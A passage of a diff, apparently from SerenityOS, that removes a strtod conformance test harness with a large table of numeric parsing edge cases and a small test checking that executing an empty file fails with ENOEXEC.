||||
* 1. Redistributions of source code must retain the above copyright notice, this
|
||||
* list of conditions and the following disclaimer.
|
||||
*
|
||||
* 2. Redistributions in binary form must reproduce the above copyright notice,
|
||||
* this list of conditions and the following disclaimer in the documentation
|
||||
* and/or other materials provided with the distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
|
||||
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||
* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
|
||||
* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
||||
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
|
||||
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#include <assert.h>
|
||||
#include <signal.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <time.h>
|
||||
#include <unistd.h>
|
||||
|
||||
typedef char assert_size_t_is_int[sizeof(size_t) == 4 ? 1 : -1];
|
||||
|
||||
static const char* TEXT_ERROR = "\x1b[01;35m";
|
||||
static const char* TEXT_WRONG = "\x1b[01;31m";
|
||||
static const char* TEXT_OFBY1 = "\x1b[01;97m";
|
||||
static const char* TEXT_RESET = "\x1b[0m";
|
||||
|
||||
struct Testcase {
|
||||
const char* test_name;
|
||||
int should_consume;
|
||||
const char* hex;
|
||||
const char* test_string;
|
||||
};
|
||||
|
||||
static Testcase TESTCASES[] = {
|
||||
// What I came up with on my own:
|
||||
{ "BW00", 0, "0000000000000000", ".." },
|
||||
{ "BW01", 2, "3ff0000000000000", "1..0" },
|
||||
{ "BW02", 1, "3ff0000000000000", "1" },
|
||||
{ "BW03", 2, "0000000000000000", ".0" },
|
||||
{ "BW04", 2, "0000000000000000", "0." },
|
||||
{ "BW05", 2, "0000000000000000", "0.." },
|
||||
// Second 'e' overwrites first exponent
|
||||
{ "BW06", 3, "40af400000000000", "4e3e4" },
|
||||
// Minus sign in exponent is ignored (`atof` only)
|
||||
{ "BW07", 4, "3f747ae147ae147b", "5e-3" },
|
||||
// "e" is ignored if followed by only zeros
|
||||
{ "BW08", 3, "401c000000000000", "7e0" },
|
||||
// Exponent overflow:
|
||||
{ "BW09", -1, "0000000000000000", "1e-4294967296" },
|
||||
// Excessive time use(!):
|
||||
{ "BW10", -1, "0000000000000000", "1e-999999999" },
|
||||
// Excessively large exponent (>64 bits):
|
||||
{ "BW10", -1, "0000000000000000", "1e-9999999999999999999999" },
|
||||
|
||||
// Bugs I nearly introduced
|
||||
{ "BWN01", 2, "3ff0000000000000", "1.-2" },
|
||||
{ "BWN02", 2, "3ff0000000000000", "1. 2" },
|
||||
{ "BWN03", 0, "0000000000000000", "++2" },
|
||||
{ "BWN04", 1, "0000000000000000", "0b101" },
|
||||
{ "BWN05", 3, "0000000000000000", " 0b101" },
|
||||
{ "BWN06", 1, "0000000000000000", "0o123" },
|
||||
{ "BWN07", 1, "0000000000000000", "0y2" },
|
||||
{ "BWN08", 1, "3ff0000000000000", "1e" },
|
||||
{ "BWN09", 1, "3ff0000000000000", "1e-" },
|
||||
{ "BWN10", 6, "4034000000000000", "2e0001" },
|
||||
{ "BWN11", 6, "41ddcd6500000000", "2e0009" },
|
||||
{ "BWN12", 1, "0000000000000000", "0d1" },
|
||||
{ "BWN13", -1, "7ff0000000000000", "184467440737095516151234567890e2147483639" },
|
||||
{ "BWN14", -1, "0000000000000000", ".1234567890e-2147483639" },
|
||||
{ "BWN15", -1, "8000000000000000", "-1e-9999" },
|
||||
{ "BWN16", -1, "c3389e56ee5e7a58", "-6929495644600919.5" },
|
||||
{ "BWN17", -1, "c3389e56ee5e7a57", "-6929495644600919" },
|
||||
{ "BWN18", -1, "630a2b939cbca17f", "12345678901234567890e150" },
|
||||
{ "BWN19", -1, "24c186a8a3f159df", "12345678901234567890e-150" },
|
||||
|
||||
// From the Serenity GitHub tracker:
|
||||
// https://github.com/SerenityOS/serenity/issues/1979
|
||||
{ "SR1", -1, "4014000000000001", "5.000000000000001" },
|
||||
{ "SR2", -1, "4014000000000000", "5.0000000000000001" },
|
||||
{ "SR3", -1, "3ff0000000000000", "1.0000000000000000000000000000001" },
|
||||
{ "SR4", -1, "3ff0000000000000", "1.00000000000000000000000000000001" },
|
||||
{ "SR5", -1, "3ff1f9add37c1216", "1.12345678912345678912345678912345" },
|
||||
{ "SR6", -1, "3ff1f9add37c1216", "1.123456789123456789123456789123456789123456789" },
|
||||
|
||||
// Inspired from Abraham Hrvoje's "negativeFormattingTests":
|
||||
// https://github.com/ahrvoje/numerics/blob/master/strtod/strtod_tests.toml
|
||||
// Note that my interpretation is slightly stricter than what Abraham Hrvoje wrote.
|
||||
{ "AHN01", 3, "7ff0000000000000", "inf1" },
|
||||
{ "AHN02", 3, "7ff0000000000000", "inf+" },
|
||||
{ "AHN03", 0, "0000000000000000", ".E" },
|
||||
{ "AHN04", 3, "3ff0000000000000", "1.0e" },
|
||||
{ "AHN05", 4, "400399999999999a", "2.45+e+3" },
|
||||
{ "AHN06", 2, "4037000000000000", "23e.23" },
|
||||
{ "AHN07", 0, "0000000000000000", "e9" },
|
||||
{ "AHN08", 0, "0000000000000000", "+e" },
|
||||
{ "AHN09", 0, "0000000000000000", "e+" },
|
||||
{ "AHN10", 0, "0000000000000000", "." },
|
||||
{ "AHN11", 0, "0000000000000000", "e" },
|
||||
{ "AHN12", 2, "3fe6666666666666", ".7+" },
|
||||
{ "AHN13", 3, "3fcae147ae147ae1", ".21e" },
|
||||
{ "AHN14", 0, "0000000000000000", "+" },
|
||||
{ "AHN15", 0, "0000000000000000", "" },
|
||||
{ "AHN16", 3, "7ff0000000000000", "infe" },
|
||||
{ "AHN17", 3, "7ff8000000000000", "nan(err" },
|
||||
{ "AHN18", 3, "7ff8000000000000", "nan)" },
|
||||
{ "AHN19", 3, "7ff8000000000000", "NAN(test_)_)" },
|
||||
{ "AHN20", 3, "7ff8000000000000", "nan0" },
|
||||
{ "AHN21", 0, "0000000000000000", "-.e+" },
|
||||
{ "AHN22", 0, "0000000000000000", "-+12.34" },
|
||||
|
||||
// For a better description, see:
|
||||
// https://github.com/ahrvoje/numerics/blob/master/strtod/strtod_tests.toml
|
||||
// (Comments removed for ease of format conversion.)
|
||||
// My machine generates the NaN "fff8000000000000" for 0/0, so I replaced the "correct" result by that.
|
||||
{ "F0", -1, "348834c13cbf331d", "12.34E-56" },
|
||||
{ "F1", -1, "c07c800000000000", "-456." },
|
||||
{ "F2", -1, "405ec00000000000", "+123" },
|
||||
{ "F3", -1, "7ff8000000000000", "nan" },
|
||||
{ "F4", -1, "7ff8000000000000", "NaN" },
|
||||
{ "F5", -1, "7ff8000000000000", "NAN" },
|
||||
{ "F6", -1, "7ff0000000000000", "inf" },
|
||||
{ "F7", -1, "7ff0000000000000", "Inf" },
|
||||
{ "F8", -1, "7ff0000000000000", "INF" },
|
||||
{ "F9", -1, "fff0000000000000", "-inf" },
|
||||
{ "F10", -1, "7ff0000000000000", "+inF" },
|
||||
{ "F11", -1, "7ff0000000000000", "+INF" },
|
||||
{ "F12", -1, "3ff0000000000000", "1.0" },
|
||||
{ "F13", -1, "4059000000000000", "1e2" },
|
||||
{ "F14", -1, "44ada56a4b0835c0", "7.e22" },
|
||||
{ "F15", -1, "44ada56a4b0835c0", "7.0e22" },
|
||||
{ "F16", -1, "44ada56a4b0835c0", "7.0e+22" },
|
||||
{ "F17", -1, "3b8a71fc0e147309", "7.0e-22" },
|
||||
{ "F18", -1, "c02699999999999a", "-1.13e1" },
|
||||
{ "F19", -1, "402699999999999a", "+1.13e+1" },
|
||||
{ "F20", -1, "36e069d1347fd4b5", "23e-45" },
|
||||
{ "F21", -1, "402a000000000000", ".13e2" },
|
||||
{ "F22", -1, "beb5cf751db94e6b", "-.13e-5" },
|
||||
{ "F23", -1, "405ec00000000000", "123" },
|
||||
{ "F24", -1, "7ff8000000000000", "+nan" },
|
||||
{ "F25", -1, "7ff0000000000000", "infinity" },
|
||||
{ "F26", -1, "7ff0000000000000", "Infinity" },
|
||||
{ "F27", 3, "7ff8000000000000", "nan(type-0)" },
|
||||
{ "F28", 4, "7ff8000000000000", "+nan(catch_22)" },
|
||||
{ "F29", -1, "7ff0000000000000", "INFINITY" },
|
||||
{ "F30", -1, "3ff0000000000000", "0.00000001e+8" },
|
||||
{ "F31", -1, "fff0000000000000", "-infinity" },
|
||||
{ "F32", -1, "3705f1a59c73408e", "123.e-45" },
|
||||
{ "F33", -1, "4085300000000000", "678." },
|
||||
{ "F34", 4, "fff8000000000000", "-nan()" },
|
||||
{ "C0", -1, "0000000000000000", "0.000e+00" },
|
||||
{ "C1", -1, "0000000000000000", "1e-400" },
|
||||
{ "C2", -1, "0000000000000000", "2.4703282292062326e-324" },
|
||||
{ "C3", -1, "0000000000000000", "2.4703282292062327e-324" },
|
||||
{ "C4", -1, "0000000000000001", "2.4703282292062328e-324" },
|
||||
{ "C5", -1, "0000000000000001", "4.9406564584124654e-324" },
|
||||
{ "C6", -1, "00000000000007e8", "1e-320" },
|
||||
{ "C7", -1, "000fffffffffffff", "2.2250738585072009e-308" },
|
||||
{ "C8", -1, "0010000000000000", "2.2250738585072014e-308" },
|
||||
{ "C9", -1, "3abef2d0f5da7dd9", "1e-25" },
|
||||
{ "C10", -1, "3b282db34012b251", "1.0e-23" },
|
||||
{ "C11", -1, "3ff3c0ca428c59fb", "1.2345678901234567890" },
|
||||
{ "C12", -1, "402699999999999a", "1.13e1" },
|
||||
{ "C13", -1, "43e158e460913d00", "1e+19" },
|
||||
{ "C14", -1, "449017f7df96be18", "1.9e+22" },
|
||||
{ "C15", -1, "4496deb1154f79ec", "2.7e22" },
|
||||
{ "C16", -1, "449a420db02bd7d6", "3.1e22" },
|
||||
{ "C17", -1, "44ada56a4b0835c0", "7e22" },
|
||||
{ "C18", -1, "7fefffffffffffff", "1.7976931348623158e+308" },
|
||||
{ "C19", -1, "7ff0000000000000", "1.7976931348623159e+308" },
|
||||
{ "C20", -1, "7ff0000000000000", "1e+400" },
|
||||
{ "C21", -1, "000fffffffffffff", "2.225073858507201136057409796709131975934819546351645648023426109724822222021076945516529523908135087914149158913039621106870086438694594645527657207407820621743379988141063267329253552286881372149012981122451451889849057222307285255133155755015914397476397983411801999323962548289017107081850690630666655994938275772572015763062690663332647565300009245888316433037779791869612049497390377829704905051080609940730262937128958950003583799967207254304360284078895771796150945516748243471030702609144621572289880258182545180325707018860872113128079512233426288368622321503775666622503982534335974568884423900265498198385487948292206894721689831099698365846814022854243330660339850886445804001034933970427567186443383770486037861622771738545623065874679014086723327636718749999999999999999999999999999999999999e-308" },
|
||||
{ "C22", -1, "0010000000000000", "2.22507385850720113605740979670913197593481954635164564802342610972482222202107694551652952390813508791414915891303962110687008643869459464552765720740782062174337998814106326732925355228688137214901298112245145188984905722230728525513315575501591439747639798341180199932396254828901710708185069063066665599493827577257201576306269066333264756530000924588831643303777979186961204949739037782970490505108060994073026293712895895000358379996720725430436028407889577179615094551674824347103070260914462157228988025818254518032570701886087211312807951223342628836862232150377566662250398253433597456888442390026549819838548794829220689472168983109969836584681402285424333066033985088644580400103493397042756718644338377048603786162277173854562306587467901408672332763671875e-308" },
|
||||
{ "C23", -1, "0010000000000000", "0.0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000222507385850720138309023271733240406421921598046233183055332741688720443481391819585428315901251102056406733973103581100515243416155346010885601238537771882113077799353200233047961014744258363607192156504694250373420837525080665061665815894872049117996859163964850063590877011830487479978088775374994945158045160505091539985658247081864511353793580499211598108576605199243335211435239014879569960959128889160299264151106346631339366347758651302937176204732563178148566435087212282863764204484681140761391147706280168985324411002416144742161856716615054015428508471675290190316132277889672970737312333408698898317506783884692609277397797285865965494109136909540613646756870239867831529068098461721092462539672851562500000000000000001" },
|
||||
{ "C24", -1, "7ff0000000000000", "179769313486231580793728971405303415079934132710037826936173778980444968292764750946649017977587207096330286416692887910946555547851940402630657488671505820681908902000708383676273854845817711531764475730270069855571366959622842914819860834936475292719074168444365510704342711559699508093042880177904174497792" },
|
||||
{ "C25", -1, "7fefffffffffffff", "179769313486231580793728971405303415079934132710037826936173778980444968292764750946649017977587207096330286416692887910946555547851940402630657488671505820681908902000708383676273854845817711531764475730270069855571366959622842914819860834936475292719074168444365510704342711559699508093042880177904174497791.9999999999999999999999999999999999999999999999999999999999999999999999" },
|
||||
{ "C26", -1, "0010000000000000", "2.2250738585072012e-308" },
|
||||
{ "C27", -1, "0006123400000001", "8.44291197326099e-309" },
|
||||
{ "C28", -1, "42c0000000000000", "35184372088831.999999999999999999999999999999999999" },
|
||||
{ "C29", -1, "0000000000000000", "2.47032822920623272e-324" },
|
||||
{ "C30", -1, "3ff199999999999a", "1.100000000000000088817841970012523233890533447265626" },
|
||||
{ "C31", -1, "3f847ae147ae147b", ".010000000000000000057612911342378542997169" },
|
||||
{ "C32", -1, "3ffd34fd8378ea83", "1.8254370818746402660437411213933955878019332885742187" },
|
||||
{ "C33", -1, "43389e56ee5e7a58", "6929495644600919.5" },
|
||||
{ "C34", -1, "432a9d28ff412a75", "3.7455744005952583e15" },
|
||||
{ "C35", -1, "000fffffffffffff", "2.2250738585072011e-308" },
|
||||
{ "C36", -1, "4c20000000000001", "5.0216813883093451685872615018317116712748411717802652598273e58" },
|
||||
{ "C37", -1, "0000000008000000", "6.631236871469758276785396630275967243399099947355303144249971758736286630139265439618068200788048744105960420552601852889715006376325666595539603330361800519107591783233358492337208057849499360899425128640718856616503093444922854759159988160304439909868291973931426625698663157749836252274523485312442358651207051292453083278116143932569727918709786004497872322193856150225415211997283078496319412124640111777216148110752815101775295719811974338451936095907419622417538473679495148632480391435931767981122396703443803335529756003353209830071832230689201383015598792184172909927924176339315507402234836120730914783168400715462440053817592702766213559042115986763819482654128770595766806872783349146967171293949598850675682115696218943412532098591327667236328125E-316" },
|
||||
{ "C38", -1, "0000000000010000", "3.237883913302901289588352412501532174863037669423108059901297049552301970670676565786835742587799557860615776559838283435514391084153169252689190564396459577394618038928365305143463955100356696665629202017331344031730044369360205258345803431471660032699580731300954848363975548690010751530018881758184174569652173110473696022749934638425380623369774736560008997404060967498028389191878963968575439222206416981462690113342524002724385941651051293552601421155333430225237291523843322331326138431477823591142408800030775170625915670728657003151953664260769822494937951845801530895238439819708403389937873241463484205608000027270531106827387907791444918534771598750162812548862768493201518991668028251730299953143924168545708663913273994694463908672332763671875E-319" },
|
||||
{ "C39", -1, "0000800000000100", "6.953355807847677105972805215521891690222119817145950754416205607980030131549636688806115726399441880065386399864028691275539539414652831584795668560082999889551357784961446896042113198284213107935110217162654939802416034676213829409720583759540476786936413816541621287843248433202369209916612249676005573022703244799714622116542188837770376022371172079559125853382801396219552418839469770514904192657627060319372847562301074140442660237844114174497210955449896389180395827191602886654488182452409583981389442783377001505462015745017848754574668342161759496661766020028752888783387074850773192997102997936619876226688096314989645766000479009083731736585750335262099860150896718774401964796827166283225641992040747894382698751809812609536720628966577351093292236328125E-310" },
|
||||
{ "C40", -1, "0000000000010800", "3.339068557571188581835713701280943911923401916998521771655656997328440314559615318168849149074662609099998113009465566426808170378434065722991659642619467706034884424989741080790766778456332168200464651593995817371782125010668346652995912233993254584461125868481633343674905074271064409763090708017856584019776878812425312008812326260363035474811532236853359905334625575404216060622858633280744301892470300555678734689978476870369853549413277156622170245846166991655321535529623870646888786637528995592800436177901746286272273374471701452991433047257863864601424252024791567368195056077320885329384322332391564645264143400798619665040608077549162173963649264049738362290606875883456826586710961041737908872035803481241600376705491726170293986797332763671875E-319" },
|
||||
{ "C41", -1, "4e3fa69165a8eea2", "8.533e+68" },
|
||||
{ "C42", -1, "19dbe0d1c7ea60c9", "4.1006e-184" },
|
||||
{ "C43", -1, "7fe1cc0a350ca87b", "9.998e+307" },
|
||||
{ "C44", -1, "0602117ae45cde43", "9.9538452227e-280" },
|
||||
{ "C45", -1, "0a1fdd9e333badad", "6.47660115e-260" },
|
||||
{ "C46", -1, "49e033d7eca0adef", "7.4e+47" },
|
||||
{ "C47", -1, "4a1033d7eca0adef", "5.92e+48" },
|
||||
{ "C48", -1, "4dd172b70eababa9", "7.35e+66" },
|
||||
{ "C49", -1, "4b8b2628393e02cd", "8.32116e+55" },
|
||||
{ "C50", -1, "bfed35696e58a32f", "-0.91276999999999997026378650843980722129344940185546876" },
|
||||
{ "C51", -1, "c070a3d70a3d70a4", "-266.240000000000009094947017729282379150390624" },
|
||||
{ "C52", -1, "3c97cb9433617c9c", "8.255628858767918002472043289952338102302250764062685473021474535926245152950286865234374e-17" },
|
||||
{ "C53", -1, "43405e6cec57761a", "9214843084008499" },
|
||||
{ "C54", -1, "3fe0000000000002", "0.500000000000000166533453693773481063544750213623046875" },
|
||||
{ "C55", -1, "42c0000000000002", "3.518437208883201171875e13" },
|
||||
{ "C56", -1, "404f44abd5aa7ca4", "62.5364939768271845828" },
|
||||
{ "C57", -1, "3e0bd5cbaef0fd0c", "8.10109172351e-10" },
|
||||
{ "C58", -1, "3ff8000000000000", "1.50000000000000011102230246251565404236316680908203125" },
|
||||
{ "C59", -1, "433fffffffffffff", "9007199254740991.4999999999999999999999999999999995" },
|
||||
{ "C60", -1, "44997a3c7271b021", "30078505129381147446200" },
|
||||
{ "C61", -1, "4458180d5bad2e3e", "1777820000000000000001" },
|
||||
{ "C62", -1, "3fe0000000000002", "0.50000000000000016656055874808561867439493653364479541778564453125" },
|
||||
{ "C63", -1, "3fd92bb352c4623a", "0.3932922657273" },
|
||||
{ "C64", -1, "0000000000000000", "2.4703282292062327208828439643411068618252990130716238221279284125033775363510437593264991818081799618989828234772285886546332835517796989819938739800539093906315035659515570226392290858392449105184435931802849936536152500319370457678249219365623669863658480757001585769269903706311928279558551332927834338409351978015531246597263579574622766465272827220056374006485499977096599470454020828166226237857393450736339007967761930577506740176324673600968951340535537458516661134223766678604162159680461914467291840300530057530849048765391711386591646239524912623653881879636239373280423891018672348497668235089863388587925628302755995657524455507255189313690836254779186948667994968324049705821028513185451396213837722826145437693412532098591327667236328124999e-324" },
|
||||
{ "C65", -1, "0000000000000000", "2.4703282292062327208828439643411068618252990130716238221279284125033775363510437593264991818081799618989828234772285886546332835517796989819938739800539093906315035659515570226392290858392449105184435931802849936536152500319370457678249219365623669863658480757001585769269903706311928279558551332927834338409351978015531246597263579574622766465272827220056374006485499977096599470454020828166226237857393450736339007967761930577506740176324673600968951340535537458516661134223766678604162159680461914467291840300530057530849048765391711386591646239524912623653881879636239373280423891018672348497668235089863388587925628302755995657524455507255189313690836254779186948667994968324049705821028513185451396213837722826145437693412532098591327667236328125e-324" },
|
||||
{ "C66", -1, "0000000000000001", "2.4703282292062327208828439643411068618252990130716238221279284125033775363510437593264991818081799618989828234772285886546332835517796989819938739800539093906315035659515570226392290858392449105184435931802849936536152500319370457678249219365623669863658480757001585769269903706311928279558551332927834338409351978015531246597263579574622766465272827220056374006485499977096599470454020828166226237857393450736339007967761930577506740176324673600968951340535537458516661134223766678604162159680461914467291840300530057530849048765391711386591646239524912623653881879636239373280423891018672348497668235089863388587925628302755995657524455507255189313690836254779186948667994968324049705821028513185451396213837722826145437693412532098591327667236328125001e-324" },
|
||||
{ "C67", -1, "0000000000000001", "7.4109846876186981626485318930233205854758970392148714663837852375101326090531312779794975454245398856969484704316857659638998506553390969459816219401617281718945106978546710679176872575177347315553307795408549809608457500958111373034747658096871009590975442271004757307809711118935784838675653998783503015228055934046593739791790738723868299395818481660169122019456499931289798411362062484498678713572180352209017023903285791732520220528974020802906854021606612375549983402671300035812486479041385743401875520901590172592547146296175134159774938718574737870961645638908718119841271673056017045493004705269590165763776884908267986972573366521765567941072508764337560846003984904972149117463085539556354188641513168478436313080237596295773983001708984374999e-324" },
|
||||
{ "C68", -1, "0000000000000002", "7.4109846876186981626485318930233205854758970392148714663837852375101326090531312779794975454245398856969484704316857659638998506553390969459816219401617281718945106978546710679176872575177347315553307795408549809608457500958111373034747658096871009590975442271004757307809711118935784838675653998783503015228055934046593739791790738723868299395818481660169122019456499931289798411362062484498678713572180352209017023903285791732520220528974020802906854021606612375549983402671300035812486479041385743401875520901590172592547146296175134159774938718574737870961645638908718119841271673056017045493004705269590165763776884908267986972573366521765567941072508764337560846003984904972149117463085539556354188641513168478436313080237596295773983001708984375e-324" },
|
||||
{ "C69", -1, "0000000000000002", "7.4109846876186981626485318930233205854758970392148714663837852375101326090531312779794975454245398856969484704316857659638998506553390969459816219401617281718945106978546710679176872575177347315553307795408549809608457500958111373034747658096871009590975442271004757307809711118935784838675653998783503015228055934046593739791790738723868299395818481660169122019456499931289798411362062484498678713572180352209017023903285791732520220528974020802906854021606612375549983402671300035812486479041385743401875520901590172592547146296175134159774938718574737870961645638908718119841271673056017045493004705269590165763776884908267986972573366521765567941072508764337560846003984904972149117463085539556354188641513168478436313080237596295773983001708984375001e-324" },
|
||||
{ "C70", -1, "7fe0000000000000", "8.9884656743115805365666807213050294962762414131308158973971342756154045415486693752413698006024096935349884403114202125541629105369684531108613657287705365884742938136589844238179474556051429647415148697857438797685859063890851407391008830874765563025951597582513936655578157348020066364210154316532161708031999e+307" },
|
||||
{ "C71", -1, "7fe0000000000000", "8.9884656743115805365666807213050294962762414131308158973971342756154045415486693752413698006024096935349884403114202125541629105369684531108613657287705365884742938136589844238179474556051429647415148697857438797685859063890851407391008830874765563025951597582513936655578157348020066364210154316532161708032e+307" },
|
||||
{ "C72", -1, "7fe0000000000001", "8.9884656743115805365666807213050294962762414131308158973971342756154045415486693752413698006024096935349884403114202125541629105369684531108613657287705365884742938136589844238179474556051429648741514697857438797685859063890851407391008830874765563025951597582513936655578157348020066364210154316532161708032001e+307" },
|
||||
{ "C73", -1, "3ff0000010000000", "1.00000005960464477550" },
|
||||
{ "C74", -1, "36c6000000000000", "7.7071415537864938e-45" },
|
||||
{ "C75", -1, "0000000000000000", "2183167012312112312312.23538020374420446192e-370" },
|
||||
{ "C76", -1, "0006c9a143590c14", "94393431193180696942841837085033647913224148539854e-358" },
|
||||
{ "C77", -1, "3ff0000000000000", "99999999999999994487665465554760717039532578546e-47" },
|
||||
{ "C78", -1, "44b52d02c7e14af6", "10000000000000000000000000000000000000000e-17" },
|
||||
{ "C79", -1, "0007802665fd9600", "104308485241983990666713401708072175773165034278685682646111762292409330928739751702404658197872319129036519947435319418387839758990478549477777586673075945844895981012024387992135617064532141489278815239849108105951619997829153633535314849999674266169258928940692239684771590065027025835804863585454872499320500023126142553932654370362024104462255244034053203998964360882487378334860197725139151265590832887433736189468858614521708567646743455601905935595381852723723645799866672558576993978025033590728687206296379801363024094048327273913079612469982585674824156000783167963081616214710691759864332339239688734656548790656486646106983450809073750535624894296242072010195710276073042036425579852459556183541199012652571123898996574563824424330960027873516082763671875e-1075" },
|
||||
{ "C80", -1, "4025cccccccccccd", "10.900000000000000012345678912345678912345" },
|
||||
|
||||
// Hexadecimal floats.
|
||||
// Note that "0x579a" is "0xabcd << 1" with the top bit cut off, just as expected.
|
||||
{ "Fp1", -1, "7c2579a000000000", "0xab.cdpef" },
|
||||
// Sneaky floating point :P
|
||||
{ "Fp2", -1, "43e9400000000000", "0xCAPE" },
|
||||
};
|
||||
|
||||
constexpr size_t NUM_TESTCASES = sizeof(TESTCASES) / sizeof(TESTCASES[0]);
|
||||
|
||||
typedef double (*strtod_fn_t)(const char* str, char** endptr);
|
||||
|
||||
long long cast_ll(double d)
|
||||
{
|
||||
union readable_t {
|
||||
double as_double;
|
||||
long long as_ll;
|
||||
};
|
||||
typedef char assert_double_8bytes[sizeof(double) == 8 ? 1 : -1];
|
||||
(void)sizeof(assert_double_8bytes);
|
||||
typedef char assert_ll_8bytes[sizeof(long long) == 8 ? 1 : -1];
|
||||
(void)sizeof(assert_ll_8bytes);
|
||||
typedef char assert_readable_8bytes[sizeof(readable_t) == 8 ? 1 : -1];
|
||||
(void)sizeof(assert_readable_8bytes);
|
||||
readable_t readable;
|
||||
readable.as_double = d;
|
||||
return readable.as_ll;
|
||||
}
|
||||
|
||||
bool is_strtod_close(strtod_fn_t strtod_fn, const char* test_string, const char* expect_hex, int expect_consume, long long expect_ll)
|
||||
{
|
||||
union readable_t {
|
||||
double as_double;
|
||||
unsigned char as_bytes[8];
|
||||
};
|
||||
typedef char assert_double_8bytes[sizeof(double) == 8 ? 1 : -1];
|
||||
(void)sizeof(assert_double_8bytes);
|
||||
typedef char assert_readable_8bytes[sizeof(readable_t) == 8 ? 1 : -1];
|
||||
(void)sizeof(assert_readable_8bytes);
|
||||
readable_t readable;
|
||||
char* endptr = (char*)0x123;
|
||||
|
||||
readable.as_double = strtod_fn(test_string, &endptr);
|
||||
|
||||
char actual_hex[16 + 1] = { 0 };
|
||||
for (size_t i = 0; i < 8; ++i) {
|
||||
// Little endian, need to reverse order.
|
||||
snprintf(&actual_hex[2 * i], 3, "%02x", readable.as_bytes[8 - 1 - i]);
|
||||
}
|
||||
|
||||
bool actual_consume_possible = false;
|
||||
int actual_consume;
|
||||
|
||||
if (endptr < test_string) {
|
||||
actual_consume = 999;
|
||||
} else {
|
||||
const char* max_endptr = test_string + strlen(test_string);
|
||||
actual_consume_possible = endptr <= max_endptr;
|
||||
actual_consume = endptr - test_string;
|
||||
}
|
||||
|
||||
long long actual_ll = cast_ll(readable.as_double);
|
||||
long long off_by = expect_ll - actual_ll;
|
||||
|
||||
bool ofby1_hex = off_by != 0 && -8 <= off_by && off_by <= 8;
|
||||
bool wrong_hex = !ofby1_hex && strcmp(expect_hex, actual_hex) != 0;
|
||||
bool error_cns = !actual_consume_possible;
|
||||
bool wrong_cns = !error_cns && (actual_consume != expect_consume);
|
||||
|
||||
printf(" %s%s%s(%s%2u%s)",
|
||||
ofby1_hex ? TEXT_OFBY1 : wrong_hex ? TEXT_WRONG : "",
|
||||
actual_hex,
|
||||
(ofby1_hex || wrong_hex) ? TEXT_RESET : "",
|
||||
error_cns ? TEXT_ERROR : wrong_cns ? TEXT_WRONG : "",
|
||||
actual_consume,
|
||||
(error_cns || wrong_cns) ? TEXT_RESET : "");
|
||||
|
||||
return !(wrong_hex || error_cns || wrong_cns);
|
||||
}
|
||||
|
||||
long long hex_to_ll(const char* hex)
|
||||
{
|
||||
long long result = 0;
|
||||
for (int i = 0; i < 16; ++i) {
|
||||
char ch = *(hex + i);
|
||||
int digit;
|
||||
if ('0' <= ch && ch <= '9') {
|
||||
digit = ch - '0';
|
||||
} else if ('a' <= ch && ch <= 'f') {
|
||||
digit = ch - 'a' + 10;
|
||||
} else {
|
||||
printf("\n!!! Encountered char %02x at %d.\n", ch, i);
|
||||
assert(false);
|
||||
}
|
||||
result <<= 4;
|
||||
result += digit;
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
int main()
|
||||
{
|
||||
if (sizeof(size_t) != 4) {
|
||||
printf("lolwut?!\n");
|
||||
return 1;
|
||||
}
|
||||
printf("Running %lu testcases...\n", NUM_TESTCASES);
|
||||
printf("%3s(%-5s): %16s(%2s) %16s(%2s) %16s(%2s) %16s(%2s) – %s\n", "num", "name", "correct", "cs", "builtin", "cs", "old_strtod", "cs", "new_strtod", "cs", "teststring");
|
||||
|
||||
int successes = 0;
|
||||
int fails = 0;
|
||||
for (size_t i = 0; i < NUM_TESTCASES; i++) {
|
||||
Testcase& tc = TESTCASES[i];
|
||||
if (tc.should_consume == -1) {
|
||||
tc.should_consume = strlen(tc.test_string);
|
||||
}
|
||||
printf("%3lu(%-5s):", i, tc.test_name);
|
||||
printf(" %s(%2d)", tc.hex, tc.should_consume);
|
||||
long long expect_ll = hex_to_ll(tc.hex);
|
||||
|
||||
bool success = false;
|
||||
success = is_strtod_close(strtod, tc.test_string, tc.hex, tc.should_consume, expect_ll);
|
||||
printf(" from %s\n", tc.test_string);
|
||||
|
||||
if (success) {
|
||||
successes += 1;
|
||||
} else {
|
||||
fails += 1;
|
||||
}
|
||||
}
|
||||
printf("Out of %lu tests, saw %d successes and %d fails.\n", NUM_TESTCASES, successes, fails);
|
||||
return 0;
|
||||
}
|
||||
|
|
@ -1,20 +0,0 @@
|
|||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
|
||||
int main()
|
||||
{
|
||||
int fd = open("hax", O_CREAT | O_RDWR, 0755);
|
||||
ftruncate(fd, 0);
|
||||
close(fd);
|
||||
|
||||
int rc = execlp("hax", "hax", nullptr);
|
||||
int saved_errno = errno;
|
||||
unlink("hax");
|
||||
if (rc == -1 && saved_errno == ENOEXEC) {
|
||||
printf("FAIL\n");
|
||||
return 1;
|
||||
}
|
||||
printf("PASS\n");
|
||||
return 0;
|
||||
}
|
||||
|
|
@ -1,70 +0,0 @@
|
|||
/*
|
||||
* Copyright (c) 2020, Ali Mohammad Pur <ali.mpfard@gmail.com>
|
||||
* All rights reserved.
|
||||
*
